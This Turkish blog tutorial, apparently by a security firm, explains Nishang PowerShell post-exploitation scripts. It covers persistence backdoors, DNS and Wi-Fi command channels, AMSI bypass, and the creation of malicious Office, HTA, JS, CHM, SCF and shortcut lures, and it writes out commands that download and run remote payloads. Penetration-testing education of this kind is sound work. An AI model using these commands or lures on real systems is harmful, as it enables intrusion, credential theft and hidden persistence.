2Ağustos

Nishang ile Windows Post Exploitation – Part 2

Nishang, Nikhal Mittal tarafından geliştirilen bir post-exploitation araçlar takımıdır. Nishang içerisinde post-exploitation işlemleri sırasında kullanılabilecek olan, Powershell dilinde yazılmış script kodları bulunmaktadır. Nishang’e ait script kodları ile; port taraması, bilgi toplama, ayrıcalık yükseltme, kimlik bilgilerini alma, arka kapı bırakma gibi işlemler gerçekleştirilebilir. Bu aracın en önemli avantajları; Powershell dili ile yazıldıklarından dolayı antivirüs sistemlerini geçebilmeleri, Powershell Windows işletim sistemi versiyonları ile uyumlu çalışabildiğinden ve varsayılan olarak kurulu olduğundan dolayı ek bir kurulum gerektirmemesi ve çalışan script kodlarının disk ile ilgisi olmayıp, sadece bellekte çalışmasıdır.

Önceki bölümü okumak için: 

2.3 Backdoors

Bir saldırgan için post-exploitation aşamasının en sonuncusu, sistemde kalıcılık sağlamaktır. Yani saldırgan sisteme istediği zaman erişebilmek için bir arka kapı bırakmak ister. Nishang, post-exploitation işlemlerinde son aşamaya gelindiğinde, bir backdoor bırakarak sistemde kalıcılık sağlamak için, çeşitli yöntemler sunmaktadır. Bu yöntemler aşağıda açıklanmıştır:

2.3.1 Add-RegBackdoor

Windows sistemlerde yapışkan tuşları kontrol etmek amacıyla sethc.exe ve erişilebilirlik seçeneklerini ayarlamak için utilman.exe kullanılmaktadır. Bu script ile uzaktan komutların ve scriptlerin yürütülebilmesi için sethc.exe ve utilman.exe Debugger kayıt defteri anahtarlarını ayarlamaktadır ve “Network Level Authentication (NLA)” özelliğini devre dışı bırakmaktadır. Payloadların uzaktan RDP ile başlatılabilmesi için “Network Level Authentication (NLA)” devre dışı bırakılmalıdır. Bu scripte ait olan tek parametre “Payload” parametresidir. Bu parametreye ait olan varsayılan değer “cmd.exe” dir. Bu parametre ile hedef üzerinde çalıştırılacak olan uygulama belirtilir.

Resim 2.3.1.1 – Add-RegBackdoor
Resim 2.3.1.2 – sethc.exe Kaydı
Resim 2.3.1.3 – utilman.exe Kaydı
Resim 2.3.1.4 – NLA Devre Dışı Bırakma

2.3.2 Add-ScrnSaveBackdoor

Windows işletim sistemlerinde uzun bir süre işlem yapılmadığında ekranda bir animasyon görüntüsü belirir. Bu görüntü “Ekran Koruyucu (Screen Saver)” olarak adlandırılır. Windows işletim sistemlerinde “C:\Windows\System32” dizini altında “scrnsaver.scr” adlı bir dosya bulunur ve dosyanın çalıştırılmasıyla ekranda bir ekran koruyucu görünür. Ekran koruyucu özelliğinin aktif edilip, uzun bir süre işlem yapılmadığında çalışabilmesi için, “HKCU:\Control Panel\Desktop\” altında “SCRNSAVE.EXE” adlı bir kayıt oluşturulabilir ve bu kayda değer olarak “C:\Windows\System32\scrnsaver.scr” yolu atanabilir.

Bu script kullanılarak ekran koruyucu aracılığıyla payload çalıştırılır. Script, varsayılan olarak  “C:\Windows\System32” altında “Ribbons.scr” adında ekran koruyucu dosyası oluşturur, “HKCU:\Control Panel\Desktop\” altında “SCRNSAVE.EXE” adlı bir alt anahtar oluşturarak bu kayda “C:\Windows\System32\Ribbons.scr” değeri atar, ekran koruyucu çalıştırıldığında payload çalışması için “HKLM:\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\Ribbons.scr” adlı bir anahtar oluşturarak bu anahtarın altına “Debugger” adlı bir kayıt ekler ve bu kayda değer olarak, internet üzerinden script dosyası indirip çalıştıran bir payload veya normal bir payload atar. Böylece ekran koruyucu tetiklendiğinde bu kayıtlara göre “Ribbons.scr” çalışır ve bununla birlikte belirtilen payload da çalışır.

Resim 2.3.2.1 – Add-ScrnSaveBackdoor
Resim 2.3.2.2 – Ekran Koruyucu
Resim 2.3.2.3 – Powershell Oturumu

2.3.3 DNS TXT_Pwnage

Bu script  DNS TXT kayıtlarının kullanarak; payload çalıştırma ve shell elde etme amacıyla kullanılır. Script çalıştığı sırada, durdurulmadığı sürece DNS sunucusuna sürekli istek atar ve TXT kayıtları aracılığıyla, komutları tekrar tekrar çalıştırır. Scriptin kullanılması için bir DNS sunucusuna ihtiyaç olacaktır. Bu yazıda yapılacak örnekle, metasploit ile Powershell oturumu elde edilmesi hedeflenmektedir. Bu hedef için DNS sunucusu olarak, sanal ortamda kurulu olan “privia.labs” adlı DNS sunucusu kullanıldı.

İlk olarak DNS TXT kayıtlarından yararlanarak shell elde etmek için, metasploit ile oturum elde edilmesini sağlayan kodlar TXT kayıtlarına eklenmelidir. Bunun için, her bir TXT kaydına yerleştirmek adına, zararlı kodları Base64 ile encode edip parçalara ayıran Nishang “Out-DnsTxt” script kullanılabilir. Bu script ile kodlar encode edilerek, TXT kayıtlarına eklenmek üzere parçalara ayrılır.

Resim 2.3.3.1 – Out-DnsTxt
Resim 2.3.3.2 – Parçalanmış Kodlar

Yukarıdaki resimde görüldüğü üzere zararlı komutlar encode edildi ve 7 parçaya ayrılmış bir şekilde “encoded.txt” dosyasına kaydedildi.

Bu işlemden sonra “encoded.txt” dosyasındaki her bir satır, domain için oluşturulmuş olan TXT kayıtlarına yerleştirilmelidir.

Resim 2.3.3.3 – TXT Kayıtları

Yukarıdaki resimde görüldüğü üzere, “32.privia.labs” adlı bir subdomain oluşturuldu ve her bir satır TXT kayıtlarına yerleştirildi.

Scriptin çalışması için, bir komutun mu yoksa bir powershell scriptinin mi çalışması gerektiğini belirleyen “StartDomain” ve bir komut çalıştırılması için “CommandDomain” parametresine ihtiyaç vardır.

Resim 2.3.3.4 – TXT Kayıtları

Bu işlemlerden sonra DNS_TXT_Pwnage cmdlet çalıştırılabilir. Bu script ile verilen parametrelere göre DNS sunucusunda bulunan TXT kayıtları alınacak ve Base64 ile encode edilen kodlar decode edilerek, ele geçirilen makine üzerinde çalıştırılacaktır.

Resim 2.3.3.5 – DNS_TXT_Pwnage

Yukarıdaki resimde görüldüğü üzere, scriptin çalıştırılması için bazı parametreler kullanılmıştır. İlk parametre “StartDomain” parametresidir. Bu parametreye bir TXT kaydına sahip domain adı atanır. TXT kaydına ait olan metin, “cmdstring”,“psstring” ve “StopString” parametrelerine atanan değerler ile karşılaştırılır. Eğer TXT kaydı “cmdstring” ile eşleşirse, “commanddomain” ile belirtilen Domain adına ait TXT kaydında bulunan komut çalıştırılır. Eğer TXT kaydı “psstring” ile eşleşirse, “psdomain” ile belirtilen domain adına ait olan, “Subdomains” parametresi ile belirtilen sayıda TXT kaydında bulunan komutlar birleştirilir ve çalıştırılır. Eğer TXT kaydı “StopString” ile eşleşirse, script istek atmayı ve çalışmayı durdurur. “AuthNS” parametresi ise, belirtilen alanlar için yetkili bir nameserver (ad sunucusu) belirtir. Bu örnek için “StartDomain” TXT kaydında bulunan metin ile “psstring” parametresinde bulunan metin eşleşmektedir.  Dolayısıyla “32.privia.labs” alt alanı altında bulunan 7 adet TXT kaydında bulunan, Base64 olarak encode edilmiş metinler birleştirilecek ve decode edildikten sonra çalıştırılacaktır. Böylece bir “Powershell reverse shell” elde edilecektir.

Resim 2.3.3.6 – Powershell reverse shell

2.3.4 Gupt-Backdoor

Gupt, bir Wi-Fi oluşturarak, kurban makinede Wi-Fi adına göre; indirme, komut çalıştırma gibi işlemler yapmak için kullanılır. Gupt, her 5 saniyede bir kablosuz ağları kontrol eder ve üç parametreye sahiptir. Bunlardan ilki, “MagicString” parametresidir. “MagicString” parametresinin değeri ile ağda bulunan Wi-Fi bağlantıları SSID değerleri karşılaştırılır. “MagicString” parametresine 4 karakterli bir değer atanabilir ve ilk 4 harfi bu değer ile eşleşen SSID değerine sahip bağlantılar bulunur. SSID değerinin 5. karakteri “c” ise SSID’nin geri kalanı komut olarak algılanır ve o komut çalıştırılır. Eğer SSID değerinin 5. karakteri “u” ise SSID’nin geri kalanı Google URL Shortener’a ait ID kısmı olarak algılanır ve komut dosyası URL’den indirilerek çalıştırılır. Gupt’a ait olan diğer parametrelerden “Arguments” parametresi ile indirilip çalıştırılacak script için argüman sağlanır . “EncodedCmd” parametresi ise SSID içerisinde bulunan komut ROT13 ile encode edilmişse, bu komutu çalıştırmak için kullanılır.

Resim 2.3.4.1 – Kablosuz Ağ
Resim 2.3.4.2 – Gupt-Backdoor

Gupt hiçbir kablosuz ağa bağlanmaz ve bu yüzden ağ trafiğini atlatır.

Resim 2.3.4.3 – Script İndirme

Yukarıdaki resimde görünen kodlar, SSID’nin 5. karakteri “u” olursa geri kalan metni http://goo.gl/ linkine ekleyerek bu linkten bir script indirecek ve çalıştıracaktır.

Resim 2.3.4.4 – Kod Çalıştırma

Yukarıdaki resimde görünen kodlar, SSID’nin 5. karakteri “c” olursa geri kalan metnin önce ROT13 ile encode edilip edilmediğini kontrol eder. Eğer şart sağlanmaz ise metni direk $cmd değişkenine atar.  Sonra metnin “exit” olup olmadığını kontrol eder ve şart sağlanırsa diğer şartları kontrol etmez. Ön koşullar kontrol edildikten sonra “Invoke-Expression” ile $cmd değişkeninde bulunan komut çalıştırılır.

2.3.5 HTTP-Backdoor

Bu script ile bir URL sorgulanır ve URL üzerinden powershell scripti indirilerek çalıştırılır. “CheckURL” parametresi ile belirtilen URL içeriği ile “MagicString” parametresine atanan değerin eşleşmesi durumunda, script çalışmaya başlar. Çalışmaya başlayan script, “PayloadURL” adresinde belirtilen URL adresini sorgular ve URL ile belirtilen script dosyasını indirerek çalıştırır. İndirilen script ile çalıştırmak üzere, “Arguments” parametresi ile argüman belirtilebilir.  “CheckURL” parametresi ile belirtilen URL içeriği ile “StopString” parametresine atanan değerin eşleşmesi durumunda, script çalışmayı durduracaktır. Ayrıca bu script, script çalıştırıldıktan sonra elde edilen sonuçları; Gmail, PasteBin, bir web sunucusu veya bir DNS sunucusuna sızdırmaya olanak sağlar.

Resim 2.3.5.1 – HTTP-Backdoor

2.3.6 Execute-OnTime

Bu script, belirlenen zamanda , bir URL adresi üzerinden script dosyası indirerek çalıştırmak amacıyla kullanılmaktadır. Ayrıca bu script, script çalıştırıldıktan sonra elde edilen sonuçları; Gmail, PasteBin, bir web sunucusu veya bir DNS sunucusuna sızdırılmaya olanak sağlar. Bu scriptin çalışması için; PayloadURL, CheckURL, Time, Arguments ve StopString parametrelerinin değer almaları zorunludur. “PayloadURL” ile çalıştırılacak script için URL adres belirtilir. Scriptin indirilip çalıştırılma zamanı, 24 saat cinsinden “Time” parametresi ile belirtilmelidir. Scriptin bir argüman alması gereklidir ve  bu argüman “Arguments” parametresi ile belirtilir. Scriptin çalışmasını durdurmak için “StopString” parametresine atanan değer , “CheckURL” ile belirtilen adresin içeriği ile eşleşmelidir.

Resim 2.3.6.1 – Execute-OnTime

Yukarıdaki resimde görüldüğü üzere, http://pastebin.com/raw.php?i=Zhyf8rwh adresinden alınan script, “Get-Process” cmdlet’i argüman alarak saat “18:27” de çalıştırılmıştır.“StopString” parametresine atanan değer, https://pastebin.com/raw/BWYF1wAL adresinin içeriği ile eşleşirse , script çalışmayı durduracaktır. Eğer eşleşme olmazsa script çalışmaya devam edecektir.

2.3.7 Invoke-ADSBackdoor

Alternatif Veri Akışı (ADS – Alternate Data Stream), Windows NTFS dosya sisteminin, dosya yazarına göre veya dosya başlığına göre, dosyayı bulmasını sağlayan, özet veriler içeren bir özelliktir. ADS, Windows 7’den günümüze kadar olan tüm işletim sistemlerini desteklemektedir.

ADS, saldırganların kurbanları için bir tehdit oluşturmaktadır. Çünkü, ADS ile bir dosyaya başka bir dosya gömülebilir ve bu işlem dosya üzerinde herhangi bir değişikliğe neden olmaz. Bu nedenle saldırganlar bir dosya için zararlı bir veri akışı oluşturabilir ve bu zararlının çalıştırılmasıyla makineye erişim sağlanabilir.

Invoke-ADSBackdoor ile, bir dosya için iki adet ADS oluşturulur. İlki çalıştırılacak olan zararlı bir payload dosyasıyken, ikincisi bu payload’u çalıştıran VBS (Visual Basic Script) dosyasıdır.

Bu script, öncelikle kullanıcıya ait olan “AppData” dizini için; rastgele adlandırılacak ve içerisine encode edilmiş powershell payload kodları yazılacak bir “.txt” uzantılı dosya oluşturur ve veri akışı olarak ekler. Daha sonra bu veri akışını çalıştırarak içerisindeki payload’un çalışmasını sağlayan “.vbs” uzantılı bir VBS dosyası oluşturur ve bu dosyayı da ikinci veri akışı olarak ekler. Ardından “HKCU:\Software\Microsoft\Windows\CurrentVersion\Run” anahtarının altında “Update” adlı bir alt kayıt oluşturur ve bu kayda

“wscript.exe $env:USERPROFILE\AppData:<VBS_ADS>”

değerini atar. Böylece, makine açıldıktan sonra kullanıcı haklarıyla, VBS dosyası otomatik olarak çalıştırılacak ve payload tetiklenerek çalıştırılacaktır. Böylece kalıcılık sağlanmış olacaktır.

Aşağıdaki resimde, script “PayloadURL” parametresi ile birlikte çalıştırılmıştır. Bu parametreye atanan URL, Base64 ile encode edilmiş 64 bit meterpreter oturumu sağlayan kodlar içermektedir.

Resim 2.3.7.1 – Invoke-ADSBackdoor

Script çalıştırıldıktan sonra, AppData dizini için veri akışları oluşturuldu ve VBS veri akışını tetikleyen kayıt, kayıt defterine eklendi.

Aşağıdaki resimde AppData dizininin listelenmesi sonucu, oluşturulmuş olan veri akışları görülmektedir.

Resim 2.3.7.2 – Oluşturulmuş Olan Veri Akışları

Aşağıdaki resimde, içerisinde Base64 meterpreter payload barındıran “.txt” uzantılı veri akışının içeriği görülmektedir.

Resim 2.3.7.3 – Veri Akışı İçerisinde Yer Alan Payload

Kayıt defterine eklenen kayıt tetiklendiğinde, “wscript” uygulaması ile VBS çalıştırılacaktır.

Resim 2.3.7.4 – Kayıt Defterine Eklenen Kayıt

VBS ile payload çalıştırıldıktan sonra, meterpreter oturumu elde edilecektir.

Resim 2.3.7.5 – Meterpreter Oturumu

2.3.8 Set-RemotePSRemoting

Windows sistemlerde, powershell üzerinden uzak bir bilgisayara erişim sağlanabilmektedir. Her iki makinede de “Powershell Remoting” özelliği aktif edilip, karşılıklı güven ilişkisi sağlandıktan sonra, varsayılan olarak 5985 ve 5986 numaralı portlar aracılığıyla HTTP(S) üzerinden erişim sağlanabilir. Bu erişim için, karşı makineye bağlanan kullanıcı, karşı makinede kayıtlı yönetici yetkilerine sahip bir kullanıcıya ait olan kimlik bilgilerini bilmelidir ve o kimlik bilgileri ile erişim sağlamalıdır.

Bu script kullanılarak, yönetici haklarına sahip olmayan bir kullanıcı hesabına Powershell Remoting özelliği için “Full Control” verilir ve kullanıcı hesabı ile uzaktan erişim sağlanabilir. Ayrıca bu script ile Powershell Remoting için tam yetkiye sahip olan bir kullanıcının hakları kısıtlanabilir.

Öncelikle, kısıtlı hak ve yetkilere sahip olan ve sadece “Domain Users” grubunda bulunan “backdoor” kullanıcısına, Powershell Remoting ile erişim sağlanmaya çalışıldı.

Resim 2.3.8.1 – Kullanıcı Özellikleri
Resim 2.3.8.2 – Erişim Sağlanamaması

Ardından script, backdoor kullanıcısı için çalıştırıldı ve kullanıcı Powershell Remoting erişimi için tam yetkiye sahip oldu.

Resim 2.3.8.3 – Set-RemotePSRemoting
Resim 2.3.8.4 – Yeniden Uzak Erişim

Bu script bir kullanıcı için “Remove” parametresiyle birlikte çalıştırıldığında, kullanıcının Powershell Remoting özelliği yetkileri kısıtlanacaktır ve erişim sağlanamayacaktır.

Resim 2.3.8.5 – Remove Parametresinin Kullanılması
Resim 2.3.8.6 – Erişim Kısıtlaması

2.3.9 Set-RemoteWMI

Bu script, yönetici ayrıcalıklarına sahip olmayan domain hesaplarına WMI erişimi vermek için, DCOM ve WMI ad alanlarının güvenlik tanımlayıcılarını değiştirmek amacıyla kullanılmaktadır. Script, bu yetkilendirme için “Built-in Administrators” grubunun izinlerini, WMI ve DCOM ad alanlarının erişim kontrol listesine (ACL) ekler. “Namespace” parametresi ile farklı bir namespace belirtilmediği sürece varsayılan değer “root” değeridir. Ayrıca bu işlem uzak bir makine için de yapılabilir.

Aşağıdaki resimde görüldüğü üzere, kısıtlı yetkilere sahip olan bir “Domain Users” hesabı ile WMI aracılığıyla uzaktan komut çalıştırma denemesi yapılmıştır ve işlem başarılı olmamıştır.

Resim 2.3.9.1 – Erişim Engellemesi

Script “backdoor” hesabı için çalıştırıldıktan sonra WMI erişiminde bir problem olmayacaktır.

Resim 2.3.9.2 – Set-RemoteWMI
Resim 2.3.9.3 – Invoke-WMIMethod

Bu script bir kullanıcı için “Remove” parametresiyle birlikte çalıştırıldığında, kullanıcının WMI erişim yetkileri kısıtlanacaktır ve erişim sağlanamayacaktır.

Resim 2.3.9.4 – Remove Parametresinin Kullanılması

2.4 Bypass

Bir sisteme sızma işlemi gerçekleştirildikten sonra, sistem üzerinde ilerleme sırasında, birtakım engeller ile karşılaşılabilir. Örneğin, antivirüs sistemleri veya güvenlik duvarı ile karşılaşılabilir. Böyle durumlarda bu engelleri atlatmak gerekebilir. Nishang, atlatma işlemi için 1 adet script sunmaktadır. Bu script aşağıda açıklanmıştır.

2.4.1 AMSI Bypass

AMSI (AntiMalware Scan Interface) bir makinede bulunan herhangi bir zararlı yazılımın yakalanmasını sağlayan genel bir standarttır. Kullanıcı verileri, uygulamalar ve iş yükleri için gelişmiş kötü amaçlı yazılım koruması sağlar. Bu script belirli yöntemler ile AMSI atlatmak amacıyla kullanılır. Bu yöntemler aşağıda açıklanmıştır.

Düşük Sürüm Powershell

Windows 10 sistemlerde varsayılan olarak powershell 5. versiyon çalışır. Powershell versiyon 2 ile çalıştırılan komutlar AMSI aktif olduğunda tespit edilemez. Dolayısıyla zararlı bir script 2. versiyon ile çalıştırılarak AMSI atlatılabilir.

Resim 2.4.1.1 – Düşük Versiyon Powershell

Obfuscation

AMSI aktif olduğunda zararlı bir powershell scriptini, imzasına göre tespit edebilir. Eğer script içeriği karmaşıklaştırılırsa AMSI atlatılabilir.

Resim 2.4.1.2 – Obfuscation Sonucu Script Yükleme
Resim 2.4.1.3 – Obfuscation
Resim 2.4.1.4 – Obfuscate Edilmiş Script
Resim 2.4.1.5 – Obfuscate Sonrası Başarılı Script Çalıştırma

Bu yöntemlere göre Invoke-AMSIBypass.ps1 scripti çalıştırılarak, AMSI Bypass edilir ve script çalıştırılabilir.

Resim 2.4.1.6– AMSI Bypass

2.5 Client

2.5.1 Out-Word

Bu script ile bir Word dosyası oluşturulur ve oluşturulan bu Word dosyasında, kullanıcı tarafından belirlenen powershell kodu veya powershell dosyasını otomatik olarak çalıştıran bir makro oluşturulur. Örnek olarak aşağıdaki komutta “Payload” parametresi ile belirtilen komut, oluşturulacak dosya içerisine eklenen makro ile çalışır. Bu Word dosyası “Salary_Details.doc” adıyla komut çalıştırılan dizine kaydedilir.

Out-Word -Payload “powershell.exe -ExecutionPolicy Bypass -c Get-Process”

Bu script “PayloadURL” parametresi ile kullanılarak internet üzerinden alınan bir script makro ile birlikte çalışabilir. “Arguments” parametresi de dahil edilerek bu komut dosyası bir argümanla birlikte çalıştırılabilir.

Out-Word -PayloadURL “http://192.168.228.128/Get-Information.ps1” -Arguments Get-Information

Bu script, “PayloadScript” parametresi ile çalıştırıldığında, bir script dosyası makro ile birlikte çalıştırılabilir.

Out-Word -PayloadScript C:\Invoke-Mimikatz.ps1

Bu script için diğer parametreler aşağıdaki gibidir.

DDE: Bu parametre ile makrolar yerine DDE saldırı vektörü kullanılır.

WordFileDir: Oluşturulacak makrodan word dosyalarının etkilenmesi için, word dosyalarının bulunduğu dizini belirtir.

OutputFile: Word dosyasının dışarıya nasıl çıkması gerektiği belirlenir. Varsayılan olarak “Salary_Details.doc” değerini alır.

RemoveDocx: Bir dizindeki dosyaları etkilemek için WordFileDir’i kullanırken, virüslü dosyaları oluşturduktan sonra orijinalleri kaldırır.

Recurse: WordFileDir’deki Word dosyalarını tekrar tekrar arar.

RemainUnSafe: Out-Word kullanıldıktan sonra makro güvenliğini kapalı tutmak için bu parametre kullanılır.

Resim 2.5.1.1 – Out-Word
Resim 2.5.1.2 – Makro

2.5.2 Out-Excel

Bu script, içerisinde dosyanın açılmasıyla birlikte çalışan bir makro bulunan excel dosyası oluşturulur. Bu scriptin çalıştırılmasıyla birlikte, powershell kodu veya powershell dosyasını otomatik olarak çalıştıran bir makro eklenir. Script çalıştırıldıktan sonra belirtilen konuma veya aynı  dizine, içerisinde otomatik olarak tanımlanmış bir makro bulunan “Salary_Details.xls” adlı bir dosya çıkartılır.

Bir powershell komutunun “Payload” parametresi kullanılır.

Out-Excel -Payload “powershell.exe whoami”

Eğer bir script dosyasının çalıştırılması istenirse, “PayloadScript” parametresi kullanılır.

Out-Excel -PayloadScript C:\script.ps1

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır.

Out-Excel -PayloadURL http://priviasecurity.com/script.ps1

Bu script için diğer parametreler aşağıdaki gibidir:

DDE: Bu parametre ile makrolar yerine DDE saldırı vektörü kullanılır.

ExcelFileDir: Oluşturulacak makrodan dizinde bulunan tüm excel dosyalarının etkilenmesi için, excel dosyalarının bulunduğu dizini belirtir.

OutputFile: Excel dosyasının dışarıya nasıl çıkması gerektiği belirlenir. Varsayılan olarak “Salary_Details.xls” değerini alır.

RemoveXlsx: Bir dizindeki dosyaları etkilemek için ExcelFileDir’i kullanırken, virüslü dosyaları oluşturduktan sonra orijinalleri kaldırır.

Recurse: ExcelFileDir’deki Excel dosyalarını tekrar tekrar arar.

RemainSafe: Out-Excel kullanıldıktan sonra makro güvenliğini açık tutmak için bu parametre kullanılır.

Resim 2.5.2.1 – Out-Excel
Resim 2.5.2.2 – Makro

2.5.3 Out-HTA

Bu script kullanılarak, powershell komutları çalıştıran HTML uygulaması oluşturulur.  Bu uygulama içinde HTML ve Visual Basic kodları bulunur. Bu dosya bir web sunucusu çağrıldığında, bir powershell komutu çalışır.

Bir dosya oluşturulup bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır.

Out-HTA -Payload “powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c whoami”

Eğer bir script dosyasının çalıştırılması istenirse, “PayloadScript” parametresi kullanılır.

Out-HTA -PayloadScript C:\script.ps1

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır. Bu parametre ile indirilen dosyanın argüman alarak çalıştırılması için “Arguments” parametresi kullanılır.

Out-HTA -PayloadURL http://priviasecurity.com/script.ps1 -Arguments Check-VM

Bu script ile aynı dizine varsayılan olarak “WindDef_WebInstall.hta” adlı bir dosya çıkartılır. Varsayılanı değiştirmek için “HTAFilePath” parametresi kullanılır.

Resim 2.5.3.1 – Out-HTA
Resim 2.5.3.2 – Powershell Komutu

2.5.4 Out-JS

Bu script ile javascript aracılığıyla istemci taraflı saldırılar gerçekleştirilebilir. Bu script kullanılarak javascript ile kurban makinede powershell komutu çalıştırılabilir. Javascript dosyasının çalıştırılması ile bir “Windows Script Host” uygulaması çalışır ve bunun üzerinde belirtilen powershell payload çalıştır. 

Bir dosya oluşturulup bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır. Oluşacak olan JS dosyası aynı dizine çıkartılır ve varsayılan olarak “Style.js” adını alır. Bu dosyayı farklı bir isim ile farklı bir yola çıkartmak için “OutputPath” parametresi kullanılır.

Out-JS -Payload “powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c whoami”

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır. Bu parametre ile indirilen dosyanın argüman alarak çalıştırılması için “Arguments” parametresi kullanılır.

Out-JS -PayloadURL http://priviasecurity.com/script.ps1 -Arguments “Get-Information”

Resim 2.5.4.1 – Out-JS
Resim 2.5.4.2 – Reverse shell

2.5.5 Out-CHM

CHM (Compiled HTML), Microsoft HTML tabanlı yardım programının kullanıdığı, derlenmiş HTML dosya uzantısıdır. Sıkıştırılmış HTML dosyalarının yanı sıra, bu dosyaların bağlantı kurdukları resim ve JavaScriptleri içerebilir. Bu script ile powershell komutları veya powershell komut dosyaları çalıştırılabilir. Bu scripti çalıştırmak için kurban makinede “hhc.exe” çalıştırılabilir dosyasının bulunması gerekmektedir.

Bir dosya oluşturulup bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır.

Out-CHM -Payload “Get-Process” -HHCPath “C:\Program Files (x86)\HTML Help Workshop”

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır.

Out-CHM -PayloadURL http://priviasecurity.com/script.ps1 -Arguments Check-VM -HHCPath “C:\Program Files (x86)\HTML Help Workshop”

Yerel makinede bulunan bir powershell script çalıştırmak için, o script dosyasını belirtmek adına, “PayloadScript” parametresi kullanılır.

Out-CHM -PayloadScript C:\shell.ps1 -HHCPath “C:\Program Files (x86)\HTML Help Workshop”

Bu script için diğer parametreler aşağıdaki gibidir.

Arguments: Powershell scriptinin çalıştırılması için argüman belirtir.

HHCPath: hhc.exe uygulamasının dizin yolunu belirtir.

OutputPath: Varsayılan olarak aynı dizine “doc.chm” ismiyle çıkartılan dosyanın, isteğe bağlı olarak çıkarılacağı yolu belirtir.

Resim 2.5.5.1 – Out-CHM

2.5.6 Out-Java

Bu script, uygulamalarda kullanılmak üzere JAR üretmek için kullanılabilecek bir scripttir. Bu script, JAR’ı yüklemek için applet etiketini kullanan bir JAR ve HTML dosyası oluşturur. JAR ve HTML’in bir web sunucusunda barındırılması gerekir ve hedef bu URL’yi açar açmaz powershell komutu çalıştırılır.

Script çalıştırıldıktan sonra öncelikle 4 adet dosya oluşur:

• JavaPS.class

• JavaPS.java

• Manifest.txt

• JavaPS.jar

Öncelikle JavaPS.java dosyası “javac.exe” uygulaması ile derlendikten sonra JavaPS.class adlı dosya oluşmaktadır. Ardından hakları belirleyen bir “manifest.txt” dosyası oluşturulduktan sonra, class ve manifest dosyaları “JavaPS.jar” dosyası oluşturularak arşivlenecektir. Bu dosya -NoSelfSign parametresi “True” değerini almadığı sürece “jarsigner.exe” uygulaması ile imzalacanak ve “SignerJavaPS.jar” ve “applet.html” adlı iki dosya oluşacaktır. Bu iki dosya aynı dizine alınıp, web sunucusu ile applet.html dosyası çalıştırıldıktan sonra powershell komutu çalışacaktır.

Bu script aracılığıyla, bir dosya oluşturulup bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır.

Out-Java -Payload “Get-Process” -JDKPath “C:\Program Files\Java\jdk-11.0.2”

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır.

Out-Java -PayloadURL “https://priviasecurity.com/script.ps1” -JDKPath “C:\Program Files\Java\jdk-11.0.2”

Bu script için diğer parametreler aşağıdaki gibidir.

Arguments: Powershell scriptinin çalıştırılması için argüman belirtir.

JDKPath: “.java” uzantılı dosyanın derlenmesi için JDK yolunu belirtir.

OutputPath: Varsayılan olarak aynı dizine “doc.chm” ismiyle çıkartılan dosyanın, isteğe bağlı olarak çıkarılacağı yolu belirtir.

NoSelfSign: JAR’ı imzalamak için kendinden imzalı bir sertifika oluşturmak istenmediği zaman kullanılır.

Resim 2.5.6.1 – Out-Java
Resim 2.5.6.2 – Oluşan Dosyalar
Resim 2.5.6.3 – Powershell Oturumu

2.5.7 Out-SCF

SCF, Shell Command File (Shell Komut Dosyası) anlamına gelir ve bir Windows Gezgini penceresi açmak veya Masaüstü’nü göstermek gibi Windows Explorer komutlarını destekleyen bir dosya biçimidir. Bu script, NTLM Hash değerlerini elde etmek için kullanılacak SCF dosyaları oluşturmak amacıyla kullanılır. Script çalıştıktan sonra aynı dizinde varsayılan olarak “SystemCatalog.scf” adlı bir dosya oluşur (Dizin ve dosya adı “OutputPath” parametresi kullanılarak isteğe bağlı olarak ayarlanabilir). Dosya çalıştırıldıktan sonra “IPAddress” parametresi ile verilen adresin “/share/test.ico” yolundaki dosyasına, SMB servisi aracılığıyla bir istek atılacaktır. Böylece buradan yola çıkılarak NTLM Hash değerleri alınabilir.

Resim 2.5.7.1 – Out-SCF

2.5.8 Out-SCT

Bu script, PowerShell komut dosyalarını ve komutlarını çalıştırmak için regsvr32.exe ile birlikte kullanılabilecek bir SCT dosyası oluşturur. Oluşturulan dosyanın varsayılan adı UpdateCheck.xml’dir. Bu dosyanın bir web sunucusunda barındırılması gerekmektedir.

Bir dosya oluşturulup, bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır.

Out-SCT -Payload “Get-Process”

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır.

Out-SCT -PayloadURL http://priviasecurity.com/script.ps1 -Arguments Get-Information

Bu script için diğer parametreler aşağıdaki gibidir.

Arguments: Powershell scriptinin çalıştırılması için argüman belirtir.

OutputPath: Varsayılan olarak aynı dizine “UpdateCheck.xml” ismiyle çıkartılan dosyanın, isteğe bağlı olarak çıkarılacağı yolu belirtir.

Resim 2.5.8.1 – Out-SCT
Resim 2.5.8.2 – UpdateCheck.xml

2.5.9 Out-Shortcut

Bu script powershell komutlarını ve komut dosyalarını başlatan “.lnk” uzantılı bir kısayol oluşturur. Kısayol açıldığında, önceden tanımlanmış powershell scriptleri veya komutları çalışır. Bu kısayol powershell.exe uygulamasına bağlıdır. Bu script ile oluşturulacak kısayol için bir kısayol tuşu da oluşturulabilir. Ayrıca, kısayolun simgesi de ayarlanabilir.

Bir dosya oluşturulup bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır.

Out-Shortcut -Payload “Get-Process”

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır.

Out-Shortcut -PayloadURL http://priviasecurity.com/script.ps1 -Arguments Get-Information

Bu script için diğer parametreler aşağıdaki gibidir.

Arguments: Powershell scriptinin çalıştırılması için argüman belirtir.

